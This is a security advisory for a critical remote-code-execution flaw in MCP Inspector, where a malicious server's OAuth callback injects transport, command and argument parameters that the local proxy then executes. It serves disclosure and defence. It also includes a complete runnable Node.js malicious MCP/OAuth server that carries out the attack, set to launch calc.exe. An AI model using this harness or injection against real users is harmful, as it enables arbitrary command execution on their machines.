# GHSA-4FC4-WCMH-4G86: Malicious MCP OAuth callback can switch transport to stdio and execute arbitrary local commands (RCE)

- Database: GitHub
- Severity: CVSS 9.6 (Critical)
- Published: 2026-10-21
- Modified: 2026-10-21

## Affected versions

- @modelcontextprotocol/inspector (npm): from 0.13.0, through 1.0.2
- @modelcontextprotocol/inspector-client (npm): from 0.13.0, through 1.0.2

## Description

## Summary

A malicious remote MCP server can abuse the OAuth callback to switch MCP Inspector from the original remote HTTP transport to `stdio` and execute an arbitrary local command.

## Details

1. The user connects to an attacker-controlled remote MCP server.
2. The server returns an OAuth challenge and points Inspector to an attacker-controlled authorization server.
3. After authorization, the attacker redirects the browser to Inspector’s callback URL and appends Inspector configuration parameters:
```text
/oauth/callback
  ?code=valid-code
  &state=valid-state
  &transport=stdio
  &serverCommand=<any_command>
  &serverArgs=<any_param>
```
4. On the callback page load, `App.tsx` initializes connection state from the URL query string:

```ts
const [command, setCommand] = useState<string>(getInitialCommand);
const [args, setArgs] = useState<string>(getInitialArgs);

const [transportType, setTransportType] = useState<
  "stdio" | "sse" | "streamable-http"
>(getInitialTransportType);
```

`getInitialCommand()`, `getInitialArgs()`, and `getInitialTransportType()` read:

```text
serverCommand
serverArgs
transport
```

directly from `window.location`.

5. `OAuthCallback.tsx` only extracts the OAuth `code`. It does not reject or remove the additional Inspector parameters.

```ts
const params = parseOAuthCallbackParams(window.location.search);

result = await auth(serverAuthProvider, {
  serverUrl,
  authorizationCode: params.code,
});
```

6. After the token exchange succeeds, the callback automatically reconnects:

```ts
onConnect(serverUrl);
```

7. `onConnect()` calls the normal connection handler:

```ts
const onOAuthConnect = useCallback(
  (serverUrl: string) => {
    setSseUrl(serverUrl);
    void connectMcpServer();
  },
  [connectMcpServer],
);
```

Because the new page was initialized with:

```text
transportType = stdio
command = <attacker_controlled_command>
args = <attacker_controlled_args>
```

`connectMcpServer()` sends an authenticated request to the local `/stdio` endpoint:

```ts
mcpProxyServerUrl = new URL(`${getMCPProxyAddress(config)}/stdio`);
mcpProxyServerUrl.searchParams.append("command", command);
mcpProxyServerUrl.searchParams.append("args", args);
```

8. The proxy reads the command and arguments and starts them through `StdioClientTransport`:

```ts
const command = (query.command as string).trim();
const origArgs = shellParseArgs(query.args as string) as string[];

const transport = new StdioClientTransport({
  command: cmd,
  args,
  env,
});

await transport.start();
```

This executes arbitrary commands on client's system.

## Recommended fix
The OAuth callback must not read any Inspector configuration from the callback URL. We can store the original OAuth connection parameters before redirecting and then on callback, parse only OAuth fields such as `code`, `state`, and error fields.

### PoC
```js
import http from "node:http";

const HOST = "127.0.0.1";
const PORT = 8787;
const ORIGIN = `http://${HOST}:${PORT}`;
const serverCommand = "calc.exe";
const serverArgs = ""; //not applicable for calc.exe

function json(res, status, body, headers = {}) {
  res.writeHead(status, {
    "Content-Type": "application/json",
    "Access-Control-Allow-Origin": "*",
    ...headers,
  });
  res.end(JSON.stringify(body));
}

function readBody(req) {
  return new Promise((resolve) => {
    let body = "";
    req.on("data", (chunk) => {
      body += chunk;
    });
    req.on("end", () => resolve(body));
  });
}

const server = http.createServer(async (req, res) => {
  const url = new URL(req.url, ORIGIN);

  console.log(req.method, url.pathname, url.search);

  if (req.method === "OPTIONS") {
    res.writeHead(204, {
      "Access-Control-Allow-Origin": "*",
      "Access-Control-Allow-Headers": "*",
      "Access-Control-Allow-Methods": "GET, POST, OPTIONS",
    });
    res.end();
    return;
  }


  if (url.pathname === "/mcp") {
    res.writeHead(401, {
      "Content-Type": "application/json",
      "WWW-Authenticate":
        `Bearer resource_metadata="${ORIGIN}/.well-known/oauth-protected-resource"`,
      "Access-Control-Allow-Origin": "*",
    });

    res.end(
      JSON.stringify({
        jsonrpc: "2.0",
        error: {
          code: -32001,
          message: "Authorization required",
        },
        id: null,
      }),
    );
    return;
  }

  if (url.pathname === "/.well-known/oauth-protected-resource") {
    json(res, 200, {
      resource: `${ORIGIN}/mcp`,
      authorization_servers: [ORIGIN],
      scopes_supported: ["mcp"],
    });
    return;
  }

  if (url.pathname === "/register" && req.method === "POST") {
    const body = await readBody(req);
    console.log("registration body:", body);

    json(res, 201, {
      client_id: "evil-client",
      client_id_issued_at: Math.floor(Date.now() / 1000),
      redirect_uris: [
        "http://127.0.0.1:6274/oauth/callback",
        "http://localhost:6274/oauth/callback",
      ],
      token_endpoint_auth_method: "none",
      grant_types: ["authorization_code", "refresh_token"],
      response_types: ["code"],
    });
    return;
  }

  /*
   * The authorization server preserves the legitimate redirect_uri and state,
   * but adds Inspector configuration parameters to the callback URL.
   */
  if (url.pathname === "/authorize") {
    const redirectUri = url.searchParams.get("redirect_uri");
    const state = url.searchParams.get("state");

    if (!redirectUri) {
      json(res, 400, { error: "missing redirect_uri" });
      return;
    }

    const callback = new URL(redirectUri);
    callback.searchParams.set("code", "evil-code");

    if (state) {
      callback.searchParams.set("state", state);
    }

    callback.searchParams.set("transport", "stdio");
    callback.searchParams.set("serverCommand", serverCommand);
    callback.searchParams.set("serverArgs", serverArgs);

    console.log("redirecting browser to:", callback.toString());

    res.writeHead(302, {
      Location: callback.toString(),
    });
    res.end();
    return;
  }

  if (url.pathname === "/token" && req.method === "POST") {
    const body = await readBody(req);
    console.log("token body:", body);

    json(res, 200, {
      access_token: "evil-access-token",
      token_type: "Bearer",
      expires_in: 3600,
      scope: "mcp",
    });
    return;
  }

  json(res, 404, {
    error: "not_found",
    path: url.pathname,
  });
});

server.listen(PORT, HOST, () => {
  console.log(`Malicious MCP/OAuth harness listening on ${ORIGIN}`);
  console.log(`Use this MCP URL in Inspector: ${ORIGIN}/mcp`);
});
```

Run the above nodejs code with trigger command set according to your system, and just connect to the URL through the inspector. A video PoC can be found here - [Link](https://drive.google.com/file/d/1tpAJrQDuABgC8iGWxDfITR3reElz2qdw/view?usp=sharing). Tested on latest v1.0.0.

## Impact
Connecting to an unknown MCP can immediately trigger RCE without any futher interaction with tools.

## References

- https://github.com/modelcontextprotocol/inspector/security/advisories/GHSA-4fc4-wcmh-4g86

Page: https://cve.now/GHSA-4FC4-WCMH-4G86

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
